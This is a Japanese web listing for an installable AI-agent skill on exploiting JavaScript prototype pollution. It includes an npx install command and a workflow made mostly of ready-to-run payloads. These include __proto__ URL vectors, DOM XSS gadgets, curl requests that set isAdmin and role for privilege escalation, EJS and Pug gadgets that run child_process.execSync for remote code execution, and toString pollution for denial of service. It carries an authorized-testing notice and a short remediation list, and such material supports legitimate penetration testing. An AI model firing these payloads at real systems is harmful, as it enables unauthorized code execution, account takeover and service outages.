exploiting-prototype-pollution-in-javascript について
WebアプリケーションやNode.jsサービスにおけるJavaScriptのプロトタイプ汚染を発見・評価するセキュリティテストスキルです。許可を得たテスト担当者向けに、汚染源の特定、クライアント側とサーバー側の影響確認、自動検出の手順を示します。
主な機能
- 01汚染源の特定
- 02サーバー側入力のテスト
- 03DOM XSSガジェットの評価
- 04サーバー側への影響確認
- 05自動検出ツールの利用
活用シーン
- 01ディープマージAPIエンドポイントのレビュー
- 02ブラウザフレームワークのDOM XSSテスト
- 03npmパッケージのガジェット監査
- 04認可と入力検証のリスク確認
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-prototype-pollution-in-javascriptインストール後、Claude Code で/exploiting-prototype-pollution-in-javascriptを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
JavaScriptにおけるプロトタイプ汚染の悪用
使用する場面
- Node.jsまたはJavaScriptを多用するWebアプリケーションをテストするとき
- 深くマージされたJSONオブジェクトを受け付けるAPIを評価するとき
- プロトタイプ汚染によるDOM XSSを対象に、クライアント側のJavaScriptフレームワークをテストするとき
- オブジェクトのマージ/クローン/拡張処理をコードレビューするとき
- プロトタイプ汚染のガジェットがないか、npmパッケージを評価するとき
前提条件
- クライアント側のプロトタイプ汚染を検出するためのDOM Invader拡張機能を備えたBurp Suite
- サーバー側のテスト用Node.js開発環境
- JavaScriptのプロトタイプチェーンとオブジェクト継承に関する理解
- 一般的な汚染ガジェット(ソース、シンク、悪用可能なプロパティ)に関する知識
- サーバー側の検出用Prototype Pollution Gadgets Scanner Burp拡張機能
- クライアント側でプロトタイプを操作するためのブラウザー開発者コンソール
法的通知: このスキルは、許可を得たセキュリティテストおよび教育目的に限って使用してください。自分が所有していないシステム、またはテストの許可を書面で得ていないシステムに対する無許可の使用は違法であり、コンピューター不正利用に関する法律に違反する可能性があります。
ワークフロー
ステップ 1 — プロトタイプ汚染のソースを特定する
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=value
ステップ 2 — サーバー側のプロトタイプ汚染をテストする
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# Test via constructor.prototype
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed
# JSON content type pollution
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'
ステップ 3 — クライアント側でDOM XSSを悪用する
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinks
ステップ 4 — サーバー側でRCEを悪用する
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS template engine gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars template gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug template engine gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'
ステップ 5 — 認証および認可のバイパスを悪用する
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'
ステップ 6 — 自動化ツールで検出する
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt
# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard
# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is working
主要な概念
| 概念 | 説明 |
|---|---|
| プロトタイプチェーン | オブジェクトがObject.prototypeから継承するJavaScriptの継承機構 |
| proto | オブジェクトのプロトタイプを公開するアクセサープロパティ |
| 汚染ソース | Object.prototypeのプロパティを設定できる入力箇所 |
| 汚染シンク | 汚染されたプロパティを読み取り、危険な操作を実行するコード |
| ガジェット | プロトタイプから危険なシンクへ流れるプロパティ(ソースからシンクまでの連鎖) |
| ディープマージ | __proto__を通常のキーとして処理する可能性がある再帰的なオブジェクトマージ関数 |
| constructor.prototype | プロトタイプオブジェクトにアクセスして汚染する別の経路 |
ツールとシステム
| ツール | 目的 |
|---|---|
| DOM Invader | クライアント側のプロトタイプ汚染を検出するBurp Suite組み込みツール |
| Prototype Pollution Gadgets Scanner | サーバー側のガジェット検出用Burp拡張機能 |
| ppfuzz | プロトタイプ汚染を自動的にファジングするツール |
| Nuclei | プロトタイプ汚染のテンプレートを備えたテンプレートベースのスキャナー |
| server-side-prototype-pollution | サーバー側検出用のBurp Scannerチェック |
| ESLint security plugin | コード内のプロトタイプ汚染パターンを対象とした静的解析 |
よくあるシナリオ
- 分析機能を介したDOM XSS — プロトタイプからURLを読み取る分析トラッキングスクリプトを介してJavaScriptを注入するため、transport_urlプロパティを汚染します
- テンプレートエンジンを介したRCE — EJS/Pug/Handlebarsのガジェットを悪用し、汚染されたテンプレートレンダリングプロパティを介して任意のコマンドを実行します
- 管理者権限の昇格 — isAdminまたはroleプロパティを汚染し、Node.jsアプリケーションの認可チェックをバイパスします
- JSON Schemaのバイパス — スキーマ検証プロパティを汚染し、入力検証をバイパスして悪意のあるデータを注入します
- サービス拒否 — toStringまたはvalueOfを汚染し、オブジェクトがプリミティブ値に変換される際にアプリケーションをクラッシュさせます
出力形式
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget
### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
コメント
Markdown 対応